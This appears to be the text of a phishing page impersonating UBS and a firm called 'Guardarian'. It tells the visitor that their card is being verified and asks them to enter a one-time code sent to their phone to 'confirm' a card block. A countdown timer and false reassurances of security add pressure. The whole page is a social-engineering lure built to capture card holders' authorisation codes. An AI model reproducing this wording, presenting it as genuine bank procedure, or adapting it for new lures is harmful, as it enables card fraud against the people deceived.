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Verifying card details

Our systems are securely validating your card credentials and recent activity in real time. For your protection, please keep this page open until the verification is complete.

Action required: confirm the Guardarian verification code to complete your UBS card block request.
For your security, a one‑time verification code is being sent to the mobile number linked to your UBS card. Enter the code exactly as received to continue.
Guardarian card‑risk verification

OTP confirmation

Hello Customer,

To finalize the block placed on your UBS card, enter the one‑time verification otp sent to your mobile device. The verification is securely processed by Guardarian on behalf of UBS.

Security alert: This is the final confirmation to invalidate your UBS Key4 card through Guardarian Security.

Once confirmed, the card cannot be used for in‑store, online or ATM transactions linked to the blocked card number.

Code expires in: 01:59
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